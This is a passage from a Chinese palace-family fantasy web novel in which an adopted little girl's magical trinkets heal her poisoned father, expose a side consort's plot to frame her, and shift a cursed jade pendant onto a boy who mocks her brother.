王妃仍然有些难以置信:“您这眼疾,多少年了,无论是宫中太医还是民间名医都瞧了个遍,都说根本无法根治,居然一夜之间便痊愈了?“
“倒也不是痊愈,但确实已好了大半,这两日我勤照着些那铜镜,再看看罢。“
两人对视了片刻,王妃目光诚挚:“您可愿将团团记入族谱?从此她便是我的女儿,是宁王府的嫡女。母亲,如今您可信了她是萧家祖宗送来的福星?”
老夫人沉思片刻,却仍旧摇了摇头:“此事不可草率。毕竟并非王府所出,来路不明。王府血脉,事关皇家,干系太大。”
王妃神情微滞,却也明白老夫人所虑并非毫无道理:“好,便依母亲所言。”
“今日儿媳想带她去见见王爷。只盼着王爷能早日醒来,由他出面,定然可以给团团一个名正言顺的身份。”
老夫人轻轻点头:“老身与你们同去。”
申时,老夫人扶着顺姑,王妃牵着团团的小手,身后跟着刘嬷嬷,一同走进了养正轩。
养正轩是宁王萧元珩养病的院落,院中古柏森然,空气中透着一股清洌的草木香气。
“娘亲,这里好香啊。”
“这是你爹爹的院子。”王妃低头,轻声告诉她:“你爹爹病了,这两年一直躺在床上,不能睁眼也不能说话,没法陪团团玩。”
三人来到内室,下人端来椅子放在床边,老夫人和王妃坐下,“都下去罢。“
程如安眼圈一红:“来,团团,见见你爹爹。”
团团小脸皱了起来,她踮起脚尖,趴在床边,眼巴巴地望着床上男人的脸,软软唤了一声:“爹爹。”
萧元珩眉眼紧闭,脸色苍白,仿佛沉睡在另一个世界里。
“娘亲,爹爹真好看!”
程如安微微一笑:“娘亲也觉得爹爹好看,倘若他能醒来……”说着眼泪便流了下来。
团团又凑近了些:“爹爹!爹爹!我是团团!道长爷爷说,团团圆圆的那个团团哦!”
听到这话,老夫人的眼泪也忍不住了,哗地一下便冲出了眼眶,这是她的亲生儿子啊!原本那么勇猛的一员战将,怎么如今这样毫无声息地躺在病榻上?
一家人能团团圆圆,也是她最大的心愿了。
团团推了推萧元珩,没有推动分毫。“怎么还不醒呀,爹爹,团团来了。”她小嘴嘟囔着,忽然鼻头一皱,歪了歪脑袋,又耸着鼻尖嗅了嗅:“娘亲,爹爹身上,臭臭的。”
“嗯?”王妃一愣。
团团继续吸了吸鼻子,小脸一板,认真地说:“爹爹的身上,有坏味道,像……泥里的烂树枝子!”
王妃与老夫人都站起了身,靠近了床榻,二人仔细闻了闻,却什么都没有闻到,程如安摇了摇头,不解地道:“没有啊。”
团团低头解开了自己腰间的小秀囊,一通翻找,掏出来一颗青色的小石子,将石子放进萧元珩的掌心,奶声奶气地说:
“爹爹,给你。”
男人的大手苍白而厚实,几乎能包住团团的两只小手,团团用力将他的大手合拢,握住了那颗小如弹珠的石子。
忽而,一道柔和的青光自萧元珩的指缝中泛出,初时若有若无,如流萤初现,但紧接着光芒愈来愈盛,竟有一圈圈涟漪状的光芒晕出,围着他的手掌流转。
团团小手指着那光芒,咯咯咯地笑着:“娘亲!祖祖!爹爹的手亮啦!”
老夫人和王妃屏住了呼吸凝视着,不敢发出半点声音。
片刻之后,光芒转为白色,渐渐收敛,而后彻底消散。
萧元珩的手掌缓缓摊开,只见那青色的石子已经变成了黑色,并出现了些许裂纹。
王妃俯身将团团揽进怀中,声音轻柔,语气却极为慎重:“团团,这石子哪里来的?”
团团看着她:“这是我来找爹娘的时候,在小溪边捡到的啊。”
老夫人看了一眼程如安,喊了一声:“刘嬷嬷,带团团出去玩,仔细些,莫要磕碰到了。”
刘嬷嬷闻言走了进来,牵起团团的小手:“咱们去院子里玩好不好?”
“好啊!”团团乖巧地点了点头,随着她往外走去。
王妃想到了什么,赶紧嘱咐了一句:“她若想捡什么便由她捡,拿不动就帮她拿。”
团团听见一下子高兴起来,娘亲说,什么都由她捡呢!拿不动还有人帮她拿!这可太好啦!回头大声喊了一句:“爹爹,我明日再来看你呀!”
眼看着她们走了出去,老夫人急忙吩咐:“快!快去请御医正郭太医来王府!”
第7章 把娘亲的院子捡满啦
不多时,郭太医到了,花白的胡须飘荡在胸前,一张老脸皱成了一团。
这京城他最不愿踏入的,便是宁王府,王爷这一家子的病症实在是古怪,根本无从医治。一趟一趟地来,一次一次无功而返,对他行医的信心简直就是一种凌迟。
但再怎么不愿意,他还是坐了下来,将手搭在了萧元珩的腕上,微微合眼,细心诊治。
片刻之后,他眉头一松,诧异地睁开了双眼:“奇了!今日王爷的脉象顺畅清和,虽仍旧神志未归却平缓安稳,与从前简直是判若两人。可是服了什么灵丹妙药?“
“当真么?”王妃神情激动。
老夫人缓缓取出那颗黑色的石子递给他:“你可识得,这是何物?”
郭太医接了过来,放在掌心仔细查看,片刻后脸色陡变:“这,这竟然是‘玲珑净厄珠’?!”
“玲珑……什么珠?”王妃怔住了。
“玲珑净厄珠。《神农异宝录》中有载,此珠产自昆仑寒潭之底,千年方可得一枚。其性如冰,遇污则晦,遇毒则噬,色愈黑则毒愈烈。”
“现下此珠竟已成墨色,说明王爷体内之厄,已被其尽数吸纳。此种宝物可遇而不可求,贵府当真是福运当头啊。”
程如安问道:“既然如此,王爷为何仍旧未醒?”
郭太医犹豫了片刻:“王爷沉疴数年,纵然如今因这玲珑净厄珠的功效解了体内之毒,仍需服用汤药数日才会醒转。请王妃莫要担心,老夫自会尽力为王爷医治。”
“说来也是奇怪,王爷竟是中毒!老夫惭愧,数年为王爷诊脉,竟未能察觉,时至今日,此毒究竟为何物,老夫依旧不知啊。”
说完他便陷入了沉思。
郭太医年近五十,行医数载,任御医院正令,这京城中再没有人比他的医术更高明。
他一生沉迷此道,如今见到自己都无法察觉的毒物,如同老饕遇见了美食,竟是就此迷上了一般,一时竟想出了神。
老夫人与王妃悄然交换了一个对视,都未多言。
老夫人微微咳了一声,惊醒了还在沉思的郭太医:“此事还请郭太医为王府保密,切莫与他人提起。烦请太医给王爷开方,助我儿早日苏醒。”
“是!是!老夫告退。”郭太医擦了擦额上的汗,退了下去。
程如安看着他的背影消失在养正轩的垂花门后,扑通一声跪倒在老夫人面前:“儿媳无能,日夜在王爷身边,竟不知王爷并非患病,而是中毒,请母亲责罚。”
老夫人伸手将她扶了起来:“这也怪不得你,御医正都诊不出来,你又如何能够知晓。”
王妃低头思索了片刻:“母亲,如今祠堂,王爷接连出事,这暗中下手的,必是王府中人。”
“依儿媳浅见,如今之计,唯有暗中细细查访,慎防打草惊蛇。”
老夫人看着床上儿子的脸庞,恨恨地道:“你所虑极是,待找出此人,老身必要将其碎尸万段,方能解我心头之恨!“
“母亲,团团……“
老夫人摆了摆手:“不必多言,从今日起,她便是宁王府的嫡女,稍后我亲自去祠堂叩拜祖宗,晚些让顺姑告知府中众人。”
王妃大喜过望:“多谢母亲!”
程如安想将这个好消息亲口告诉团团,哪知刚走到静兰苑的门口,便惊得停住了脚步。
只见苑内的地上,摆满了各种各样稀奇古怪的东西,罗列堆叠,她的脚抬起来又放回了原处,没再迈进去,怎么迈?简直是寸步难行。
她往里望去,只见一堆又一堆的破烂,有的大,有的小,已经从门口延伸到了回廊,再堆便要进入内室了!
枯枝、落叶、香囊挂坠、手炉穗子、残了半边翅膀的纸鸢……
程如安看得脑袋直疼,惹不住扶额。
“娘亲!娘亲!你看!我捡回来这么多宝贝!“团团从里面向她飞奔而来。
她腰间那个漂亮的小秀囊此刻已经鼓得溜圆,连袋口都系不严了,而静兰苑的几个下人也早已放弃挣扎,站在一旁,手中还都捧着大大小小各种稀奇古怪的东西。
“这都是你捡的?我都不知道王府里还有这些玩意儿……你这是,把整个王府都翻过来了吧?”
程如安瞠目结舌地看着自己精心打理的院落被生生的搞成了破烂回收站,一时竟不知该怒还是该笑。
团团撇了撇嘴,奶声奶气地搂着她的大腿:“不是娘亲说的,我想捡什么就捡什么吗?拿不动让她们帮我拿!娘亲最好啦!“
“……“程如安一时失声。
旁边的下人们双肩抖动,忍笑忍得很辛苦。
“娘亲不记得了吗?娘亲不可以哄骗团团。”
“我没有说不让你捡……”
“那我明天继续捡,好不好?”
“……”
程如安叹了口气,蹲下将她抱在怀里,语气宠溺得像是要滴出水来:“明日娘亲就让刘嬷嬷给你腾出一个大大的屋子,专门放你这些宝贝。“
“以后啊,就别往娘亲的院子里堆了,好不好?”
“真的嘛?”团团瞪大了眼睛,脸上两个酒窝瞬间炸开。
“比珍珠都真!”王妃失笑:“走,咱们先去吃饭饭,都是你爱吃的……“她牵起女儿的小手,一起说着笑着,走进了内室。
傍晚时分,顺姑亲自走遍了王府的各个院落,告知所有人,奉老夫人命,即日起,团团为王府嫡女,所有人必须以嫡女礼节待之,不可怠慢。
凌霜阁内,方清研正用一块细绢裹着一个煮熟后晾凉的鸡蛋在脸颊上来回滚动着,给火辣辣的脸消肿止痛。
听到顺姑的传话,她的手猛地一紧,鸡蛋被捏得粉碎,从细绢的裂口中掉出了无数的渣滓,粘在了脸上。
锦绣大惊:“娘娘!”连忙去打水给她洗脸。
王府中原本只有自己女儿一个女孩,虽是庶出,但在外人看来,王府独女,地位也算尊贵。
如今却冒出来一个嫡女!生生压了自己的孩子一头!有了嫡女,庶女还能有什么前程?将来婚配,那些皇族权贵们的目光,便不可能落到女儿身上了。
方清研气得胸口直疼,晚饭都吃不下去,站在窗边望着外面不远处,王府花园中的几棵老树。
突然,她笑了。
锦绣心中有些发毛:“娘娘您莫非是,气懵了?”
方清研瞪了她一眼:“闭嘴。明日你遣个小厮回趟方家,将表少爷和表小姐请来,就说我想他们了,接过来小住。”
“接他们过来?”锦绣不解,这两位少爷小姐,脾气十分骄纵,娘娘素日也是不甚喜爱的,接她们来王府做什么呢?
“如今老太太和王妃都给那野丫头撑腰,若想把这个野种轰出王府,便要给她安个足够重的罪名。“
“小小年纪,心思歹毒,不敬兄姐,企图谋害,这罪名,足够了。”
方清研想到得意处,笑得唇角咧开,却不小心扯痛了还红肿的脸:“哎哟!”
第8章 被陷害了
自从那日去过养正轩后,团团每日都会乖乖地跟着王妃和老夫人,一起去看望那“睡着的爹爹”。
往日里寂静沉闷的院落,因为她的到来而充满了鲜活。
“爹爹!娘亲给了我一个大大的屋子,我的宝贝有地方藏啦!“
”爹爹!池子里的鱼鱼被我喂撑啦!“
“爹爹!我教会咱们院子里的小鸟说团团啦!”
哪怕没有丝毫回应,她也能自说自话地在旁边念叨个不停。
王妃偶尔心中酸楚,眼泪还未滴落,便被她的童言童语逗地勾起了嘴角。
老夫人年纪大了,不喜吵闹,团团又吵又黏人,她却半点不烦,反倒生出几分依恋:“有了这孩子啊,老身都觉得自己的精神,比从前强多了。”
王妃看在眼中,心中满是欣慰。
府中下人们也习惯了这位天降的王府嫡女。
“你瞧见没,那个新来的小女娃,长得可真水灵!”
“可不是嘛!笑起来脸上那两个小酒窝,像极了咱们王妃!“
“对对!我最喜欢看她笑了,那小酒窝看着跟装着蜜似的,甜死个人了。”
“不但长得好,脾气也好!我今儿早上打水,路上碰见她,她竟然给我让路呢!还笑着跟我打招呼说嬷嬷好,真是懂礼数!“
“就是就是!那孩子走到哪儿都笑嘻嘻的,一点架子也没有,当真是招人疼得很。”
于是乎,不过短短几日,团团便成了整个王府上上下下都宠爱的宝宝。
当然,除了凌霜阁。
这日正午,刘嬷嬷跟程如安低声禀告:“今日一早,方侧妃娘家的那两个孩子进了凌霜阁,说是想她了,要小住几日。”
程如安眉头微蹙:“她的心思我懂,不愿府中多个嫡女,更担心我若是有了自己嫡亲的孩儿,便会威胁她在府中的地位,真是胡思乱想。”
她无奈地摇了摇头:“我是嫡母,虽膝下无出,但王府中所有的孩子都是我的孩子。我啊,巴不得咱们府里人丁兴旺,王爷将来才能后继有人。”
刘嬷嬷叹了口气:“王妃英明,只是这心眼小的人,总是忖度着旁人也同她一般,所以才不停地给咱们这儿下绊子。”
程如安看了眼正在花台边逗小鸟的团团:“团团,来娘亲这里。”
团团跑了过来:“娘亲!”一头扎进了她的怀里,蹭来蹭去。
王妃摸着她的小脑袋:“侧妃家的两个孩子今天住进来了,论宗族中的辈分,那是你的哥哥和姐姐,但并非你爹爹的孩子,你若是遇见他们,注意礼数就好。”
“晓得啦!娘亲!他们是我的哥哥和姐姐,但不是亲的!”团团乖巧地回应。
“真乖!”程如安在她的脸上亲了一口:“你是咱们府里唯一的嫡女,是娘亲的孩子,不必忍让他们。若是他们欺负了你,尽管来告诉娘亲,莫要委屈了自己。”
团团歪着脑袋想了想:“嗯!我懂了。”
程如安思索片刻:“刘嬷嬷,即刻去将几个少爷接回府,团团也确实该有几个玩伴才好。“
她顿了顿,语气更温柔了几分:“为着太医说王爷的病需静养不得惊扰,我才不得已让他们都住去了书院。如今团团来了,王爷的病也有了起色,是时候一家团聚了。”
“是,老奴这就去安排。“刘嬷嬷应道。
次日上午,阳光明媚,清风微拂,天气正好。
团团蹲在花园的地上找蚂蚁窝,身边只有一个静兰苑里的婢女相陪。
突然,背后传来一声嗤笑。
一个女孩的声音响起:“你就是那个捡来的野孩子?”
团团抬起头,只见两个衣着鲜亮的小孩子站在树下,一男一女,女孩双手抱胸,眼神高傲,正低头俯视着自己,身后还跟着两个凌霜阁的下人。
这就是娘亲说的哥哥和姐姐?长得还真像那个黑婆婆。
团团拍拍膝盖上的灰尘,站了起来:“我是娘亲的孩子,娘亲说我是府里的嫡女哦,你是谁?你也是嫡女吗?”
女孩脸上的神情一僵,眼珠子转了转:“你算什么嫡女!你是外面捡来的野孩子!”
团团眨巴了一下眼睛,神情狡黠,娘亲说过,我是唯一的嫡女,她不是!
“对啊!我是娘亲捡来的,但我是嫡女,你不是!”
“什么嫡女!你又不是王妃亲生的。”男孩冷不丁地补了一句。
团团一听,撅起了小嘴:“那你们是我娘亲亲生的吗?“
男孩愣了一下:“我们不是。“
团团笑了,小酒窝时隐时现:“你们不是,我也不是,但我是嫡女,你们不是!“
女孩被她的一番“嫡女论“给噎住了,一时间想不到用什么话来反驳,脸蛋涨得通红:“嫡女有什么用!“她伸手一指旁边的一棵老树:”我们敢爬,你敢吗?“
团团插着小腰,挺了挺胸膛:“有什么不敢!“
男孩看了她一眼,走到树下,作势便要爬。
跟随的下人们刚才见几个小主子斗嘴,都不敢插手,但眼见的几个小孩子真的要爬树,皆连忙劝阻:“几个小祖宗哦,别爬了,这要是有什么闪失,奴才们可担待不起。”
男孩充耳不闻,手脚并用,几下便爬到了距地面最近的枝杈上:“敢就上来啊!“
女孩子斜了团团一眼,也爬了上去,够不到的地方,她哥哥还帮忙拉了一把,两人坐在树杈上看着下面的团团:“有本事你爬上来啊!”
老树枝叶繁茂,枝杈低垂,他们坐着的地方,距离地面也不过只有半人多高。
团团哼了一声,学着两人的样子,抱紧了树干,一点一点地向上攀爬。
下人们见势不妙,都纷纷跑回去禀告,此时只有凌霜阁的一个下人,仍站在树下。
团团比他们小几岁,短胳膊短腿,又无人相助,爬得脸上的汗都滴了下来,才终于也坐上了那个枝杈。
“我爬上来啦!”
“啊——”一声惊呼,女孩竟直接从枝杈上翻身跌落。
旁边的下人眼疾手快地接了一把,但她还是一屁墩坐在了地上。
此时,程如安和方清研两人均已匆匆赶到,刚好共同目睹了这一幕。
女孩哇哇大哭起来,用手指着树上的团团:“她推我!她是坏孩子!想摔死我!”
团团一愣:“我没有!是你自己摔下去的!”
男孩开口帮腔:“我看见了!就是你推了我妹妹!”
那个一直都在的下人也接口:“奴才也看到了,确实如此。“
“不哭不哭,摔到哪里了?疼不疼?“方清研将女孩扶起来,搂进怀里,抬头看向团团,一脸怒气:“你这个孩子!怎能把她从树上推下来!小小年纪,心思这般歹毒!”
第9章 三哥哥又好看又害羞
“娘亲!他们胡说!我才没有推她呢!“团团趴在树杈上,望着走过来的程如安,委屈地瘪着小嘴巴。
程如安扫视众人,缓缓走到老树下,看向树上的两个孩子,“都愣着干什么,快把他们扶下来。”
下人们闻言急忙上前,将两个孩子接了下来。
团团扑进她的怀里,眼圈一红,眼泪在长长的睫毛上挂着,却倔强地硬是不落下来。
程如安弯腰护住她:“乖,不怕,告诉娘亲,发生了什么?”
团团吸了吸鼻子:“他们说我是捡来的野孩子,不是娘亲生的。还说我没本事,不会爬树。我刚爬上去,那个小姐姐就掉下去了!娘亲,我没碰她!”
话刚说完,那两个孩子立刻炸了锅:“骗人!就是你推的我!”
“我都看到了!就是她推了我妹妹!”
方清研叹了口气:“姐姐,我知道你心疼团团,可这谁家的孩子谁心疼,小孩子胡闹,拌拌嘴也就罢了。因为几句口角,便心生恶念,不敬兄姐,还动手加害。”
她摇了摇头,看了一眼此时已聚集过来的王府下人们,故意提高了声音:“孩子们尚且年幼,岂会说谎!此等品行,姐姐该严加管教才是。否则岂不是让外人看咱们王府的笑话?“
程如安冷冷地看了她一眼,正想开口,“娘亲!”团团仰起小脸,气鼓鼓地指着躲在方清研身后,探出个头的女孩:“不信你问她!”
程如安冰冷的目光扫过女孩的脸,女孩并未受伤,早已收了嚎哭,被她的目光看得浑身一哆嗦,缩了缩脖子。
团团解开腰间的绣囊,掏出了一截白色的小骨头,高高举起,奶声奶气地道:“知道这是什么吗?这可是妖怪的骨头哦!”
“谁要是说谎,这骨头就会让谁肚子痛!痛得打滚那种,以后再想说真话也没用啦,一说话就会痛!“
她看着那个女孩子,用骨头指着她:“你说!是不是我推的你?咱们试试吧?”
程如安看着她手里的小骨头,目光闪动。
女孩吓得直往方清研身后躲,脑袋都不敢探出来了,却仍然强撑着嘴硬:“你、你骗人!我才不怕呢!就是你推的我!”
话音刚落,她便捂着肚子“哎哟”一声,疼得弯下了腰,蹲在了地上,眼泪“唰”地落了下来:“好疼!呜呜……我肚子好疼!别、别咬我,我说,我说还不行吗!”
方清研见状慌了神,赶忙将她扶了起来:“她吓唬你的!怎么可能肚子真的就疼了!别怕!有姑母在这儿呢!”
女孩子看了看她,又看了看团团,半信半疑的小声嘟囔:“是她,就是她……哎呦!肚子好疼!比刚才还疼!“
她捂着肚子滚倒在地上,再也顾不得其他,一想到以后一说话肚子就会这样疼,嘴里连珠炮地喊了出来。
“是姑母让我这样说的!说这样就能让她滚出王府,她,她,她是个野种!不是嫡女!不是我想撒谎的,呜呜呜……”
方清研一把捂住了她的嘴,脸上顿时青一阵白一阵:“你胡说什么?我几时让你说的?小小年纪,怎么说谎骗人呢?”
程如安淡淡开口,用她刚才的话将她怼了回去:“是啊,她尚且年幼,岂会说谎呢?”
方清研的嘴巴张了张,一句话都说不出来。
程如安沉下了脸:“跪下!”
方清研无奈,只得跪在了她面前。
“侧妃方氏,教唆犯错,扰乱后宅,掌嘴十下,就在这儿打。”
“是。”刘嬷嬷闻言走了上来,啪啪啪!巴掌声顷刻间响了起来。
“你!“王妃手一指,正是刚才帮腔的那个凌霜阁的下人:“仗责二十,逐出王府,永不录用。”
“至于你们两个。”她看了看已经吓傻了的两个孩子:“明日便送回去吧,再不必留在王府。”
说完她抱起了团团,在她的小脸蛋上亲了一口:“走,娘亲给你做的糖糕刚刚出锅,咱们回去吃。“
静兰苑。
团团回来的时候情绪有些低落,像一只瘪了气的小团子。
王妃亲手拿起雪白的糖糕喂到她嘴边,柔声轻哄:“团团方才做得很好!没让旁人欺负了去,真是厉害!团团是娘亲的好女儿!“
软糯香甜的糖糕一口一口地吃进了肚子,团团这才眉开眼笑起来。
门外传来下人的声音:“启禀王妃,三少爷到了。”
“快让他进来。”
门帘掀起,一个身穿藏青短袍的少年走了进来,下跪行礼:“孩儿回来了,给母亲请安。“
“起来吧,团团,来,见见你三哥,这才是你爹爹的孩子。“
团团睁大了眼睛,嘴角咧开,酒窝浮现,朝着少年便扑了过去:“三哥哥!”
少年刚刚站起,身形瘦削但眉眼俊朗,眼神中带着几分羞涩,看见团团扑过来,愣了一下,赶忙伸出手臂接住了她,两个耳朵一下子变得通红。
他仔细地打量着团团,脸红得像涂了胭脂,张了好几次嘴,才轻轻的问了一句:“你,你是,我妹妹?”
团团指了指自己:“嗯嗯!我是你妹妹,团团妹妹。”
他低头看着她白嫩的脸蛋,声音非常轻柔缓慢:“我是你三哥,宁珣。”
团团望着他的脸,爹爹好看,爹爹的儿子也都这么好看么?眼睛好亮啊!身上香香的!团团有哥哥啦!
团团抱着他的胳膊,像根小树藤似的缠了上去,拉着他就往桌边走,把他按在了椅子里:“哥哥,娘亲给我做了糖糕!咱们一起吃好不好?”
萧宁珣的声音依旧低柔:“好。“
团团学着刚才娘亲的样子,拿起糖糕喂到他嘴边:“娘亲给我做的,也是哥哥的!你吃啊,哥哥!甜不甜哪?“
萧宁珣吃了一块,耳朵红得更厉害了:“嗯,甜。“
这个小妹妹真可爱啊,这样白白嫩嫩,软软绵绵的,像……像这碟子糖糕一样!
他眼神闪了闪:“团团,刚才有没有吓到啊?”他刚进府,便都听说了。
团团瘪了瘪嘴:“有一点。”
萧宁珣目光陡然变得冷冽:“以后,若是有人欺负你,就告诉我,三哥给你出气!”
“嗯!“团团使劲的点了下头,又投喂了一块糖糕给他。
程如安在一旁看着,忍不住微微一笑,两个孩子相处得还真好,也是,团团这样的孩子,谁能不喜爱呢?
一家三口正其乐融融,门外却响起了下人急匆匆的声音:“启禀王妃!户部侍郎顾大人的夫人带着一大群人,气势汹汹地在门外求见!”
程如安问:“何事求见?“
“说是,三少爷打了他家的二公子!“
第10章 居然敢上门欺负三哥哥
程如安看了儿子一眼,萧宁珣缓缓站了起来,看着她,嘴唇动了动,却说不出话来。
团团抬头看了看哥哥,哥哥打架了?哥哥这么好,一定是有人欺负了他!
程如安吩咐:“将人请到正厅稍坐,我即刻便到。“
王府正厅。
顾侍郎的夫人杜令仪带着儿子顾承霄坐在椅中,身后十余个下人,乌压压站了一片,见到王妃带着儿女走进来,站起行礼:”见过王妃。“
程如安点了点头,在上首落座,萧宁珣和团团站在她的身侧。
“坐吧,不知顾夫人今日登门,所为何事?”
顾夫人名叫杜令仪,三十不到,满头珠翠,一身怒气,听罢理直气壮地开了口。
“王妃娘娘,犬子顾承霄今日在书院被贵府三少爷无故殴打,以致伤痕累累。今日登门,便是要为小儿要个公道。“
她横了一眼萧宁珣:“贵府三少爷年纪不大,脾气却不小,莫非是仗着宁王府的势,不将我这小小的户部侍郎放在眼里了?“
程如安冷冷地看了她一眼:“杜夫人此言从何说起?若当真是小儿之错,我自会秉公处置,宁王府又岂会仗势欺人?“
杜令仪马上接口:“既然如此,便请王妃看看小儿这脸上的伤,给个交代罢。“
顾承霄听到母亲所言,马上站起身,上前几步,将脸抬高,左右侧了一下,让所有人都看清楚自己脸上的淤青,嘴里还连声地喊:“哎呦!好疼!“
程如安看了看他的脸,目光转向儿子:“珣儿,顾公子这伤确是你所为?“
萧宁珣有心澄清,但看着这一大屋子的人,往日那种熟悉的恐惧感再次涌上心头。
他素来很惧怕被人注视,尤其是被许多不熟悉的人一同注视,更让他无法克制心中的恐惧,虽然很想为自己辩解,但想说的话都被卡在了喉咙里,脸涨得通红,却一个字都吐不出来。
顾承霄指着自己的脸,咄咄逼人:”你敢说不是你打的?书院可有的是人为我作证!“
在所有人的注视下,萧宁珣默默点了点头,承认了确实是自己打伤的。
程如安了解自己的儿子,知道这种情形下,萧宁珣是无法开口说话的,她垂下眼帘,暗暗叹气,眼前这件事,看来只能是王府认下了。
杜令仪一脸得意:“既然已经认了……“
“哥哥可没说哦!“团团瞪着顾承霄,小胸脯一鼓一鼓的,她是真的生气了,眼睛都瞪圆了,为了什么打架都不知道,怎么就是哥哥的错了?怎么能这样欺负哥哥!
杜令仪瞪回她:“宁王府的孩子,都是这般蛮横无理吗?!”
顾承霄根本没把团团放在眼里,只冲着萧宁珣,多年同窗,他对他的毛病了如指掌:“萧宁珣!你既敢动手打人,怎的此时连句话都说不出来?“
“哦——”他拖长了调子,一脸讥笑:“原是个哑巴,难怪。”
这声“哑巴”,让萧宁珣的手猛地一紧,他的脸红得像是要滴出血来,控制不住的有些浑身颤抖。
“你才是哑巴!我哥哥不是!”团团用自己的两只小手紧紧握住他攥得紧紧的一只大手,用力拉了拉他。
萧宁珣低头看着妹妹,她仰着小脸,眼睛一眨一眨,声音非常清晰:“哥哥,你说吧。你能说的,团团知道。”
似有一股暖流从妹妹的手中流了过来,顺着手臂趴上肩膀,又沿着脊背一寸寸往下,刹那间流遍了全身。
萧宁珣只觉得那暖流在自己身上不断壮大,渐有滂沱之势,而后在身体里横冲直撞。
聚集在心头的惧怕仿佛经年被严寒堵住的河道,被那暖流不停冲刷,终于冲破禁锢,奔流千里。
他胸口起伏,喉结滚动,呼吸急促,张开了嘴:“是他!”
他咬字异常清晰:“是他先取笑我,又取笑父亲,我……我才动手的。”
杜令仪眼神一动,顾承霄先是一愣,带了这么多人过来,怎么这哑巴居然还能开口说话?
随后冷笑:“你倒是会倒打一耙,怎么,以为回到了王府,就能颠倒是非了?我怎么取笑了?我又没有说错!宁王府厄运缠身,一家子全是怪病,早就大不如前……”
他话还没说完,萧宁珣把团团往自己身后一拉,猛地弯下腰,右手探入靴筒,左手拉开刀鞘,一把匕首“铮”地一声插在了桌案边缘:“你再敢多说一个字试试!”
程如安心头一跳,那匕首刃如秋水,柄上的五彩玄蛇图案清晰可见,正是宁王亲手打造,送给儿子防身的。
厅中众人一片哗然,顾承霄下意识退了几步,跌坐在椅子里。
杜令仪眼睛瞪得溜圆:“王妃!你还不管管吗?当着长辈的面,贵公子这是要持刀行凶不成?”
程如安这才出声:“今日之事,不过因口角之争而起。我儿固然是动了手,但贵府公子口不择言,对宁王府出言不逊,也不是毫无过错。“
她顿了顿,加重了语气:“顾夫人口中所言,无故殴打,显然并非如此,而是事出有因啊。“
杜令仪听后哑然。
程如安看了一眼顾承霄满脸的淤青,有心息事宁人:“既然双方都有过错,不如就此揭过,不必为此小儿之争,伤了两府的和气。”
团团此时钻到了她的怀中,踮了踮脚,顺着裙角悄悄往上爬,程如安赶紧扶住了她,将她抱到腿上。
团团圈住她的脖子,嘴巴凑到耳边,用只有娘亲能听到的声音说起了悄悄话:“娘亲,哥哥的玉佩,是黑的!很坏,那个坏蛋的玉佩,是好东西,咱们换过来嘛。”
程如安指尖一顿,眼角余光扫过儿子腰间的玉佩,那是王府旧物,儿子佩戴多年,价值不菲,又瞄了一眼顾承霄腰间的玉佩,虽刻有云纹,却平平无奇,一看便不是上佳的成色。
但她现在毫无条件地信任自己的女儿,既是她说的,一定有她的道理。
“但贵府公子毕竟是被珣儿伤到了,”她抚了抚女儿的小脑袋,口风一转,端庄地笑了笑:“珣儿,便将你的玉佩赠与他吧,以示咱们王府的歉意。”
抬手指向顾承霄腰间:“顾夫人,此事顾公子也并非全无错处,不如这样,也请顾公子将腰间的玉佩赠与我儿。”
“今后在书院,两个孩子还是要同窗为友的,不可伤了彼此的同窗之情,就此化解今日不快。顾夫人意下如何?”
杜令仪眼睛一亮,萧宁珣身上那块老玉,一看就价值连城,自己儿子身上这块,不过是过年时长辈的年礼而已,差得远了,如此交换,自家赚大了。
于是她假装思索了片刻,“既然王妃开口,如此处置也罢。”
她装得很大度:“都是少年人嘛,血气方刚,也是难免。”
两个少年走上前来,解下腰中玉佩,互相交换。
团团眼看着哥哥将顾承霄的玉佩稳稳地系在了腰上,眼中闪过一抹狡黠,冲着哥哥伸出了小手,“哥哥,抱。”
第11章 黑婆婆又被罚啦
萧宁珣连忙将她从母亲怀中接了过来,让她稳稳地坐在自己的臂弯里。
团团搂住他的脖子,小脸埋进他的颈窝,贴着他的耳朵说:“哥哥,这个玉好,有红红的光,你戴着,以后就能说好多好多话啦!”
萧宁珣愣了一下,耳朵又红了:“谢谢团团。”
“府中事多。”程如安看着杜令仪,“顾夫人请便,送客。”
“多谢王妃。”杜令仪自以为此行大获全胜,毫不掩饰脸上的得意,带着儿子行了个礼,转身走了出去。
程如安目送他们走远,朝萧宁珣招手:“过来。”
萧宁珣走上前来,王妃拿起他腰间玉佩,手指摩挲了几下,质地颜色皆是一般,看不出丝毫异状。
她的声音压低了些:“你那玉佩,可是一直戴在身上?”
萧宁珣怔了怔,回忆了一下,“搬去书院之前,孩儿曾去过祠堂,将玉佩放在祠堂里供奉过一夜,求祖宗庇佑。”
祠堂!断福蛊!程如安眼神一沉,原来如此!所以团团才说那玉佩是坏的,会咬人,想来是个不祥之物。
本来这东西,让宁珣摘掉即可,可如今,却到了顾承霄的身上,这孩子,这是护着她哥哥,要给他出气呢!
她会心一笑,捏了捏团团的小脸蛋:“真是我的好女儿!”
“嗯!”萧宁珣接口:“也是我的好妹妹!”
团团被两人夸得眉眼飞起,骄傲得如同长出了尾巴要来回摇摆,在萧宁珣的怀里摇头晃脑,扭来扭去:“团团最好啦!”
王府门口,顾承霄翻身上马,杜令仪钻进软轿,一行人回府。
才走出不远,不知哪里地飘来一只鼓鼓囊囊的纸鸢,从顾承霄身边飘过,纸尾正好拂过他坐骑的耳尖。
马儿顿时受惊,嘶鸣一声,前蹄高抬,立了起来。
顾承霄从鞍上滚落在地,还未来得及爬起,惊马一脚踏下,正踩在膝盖上,还来回碾了两下。
“卡卡”,骨头的碎裂声响起,顾承霄一声惨叫,眼前一黑,晕倒在地,而他腰间新得的玉佩也被摔出了无数裂纹。
“二少爷!”下人们顿时乱作一团。
与此同时,团团似有所感,顿时眼睛一亮,对着哥哥露出了一个甜甜的笑容,小手一指,“哥哥,咱们一起去看爹爹吧。”
“去吧。”程如安点头,“刘嬷嬷,你跟着。”
“是。”
片刻后,两小只手牵着手,轻手轻脚地走进了养正轩。
屋里静得像一口深井,只有浓浓的药香飘在空中。
团团凑到榻边,手指头勾着被角:“爹爹,哥哥回来啦,你怎么还不醒啊?你睁开眼睛,看一眼团团好不好?”
萧元珩仍旧和往常一样,一动不动。
团团的嘴巴瘪了起来:“爹爹,我都来看了你好多回了,你都不醒。是不想看见团团吗?“
萧宁珣从她身后把她抱进怀里安慰着她:“不是的。爹爹喜欢团团。只是,他动不了,没法告诉你。”
团团抬起脑袋:“真的?”
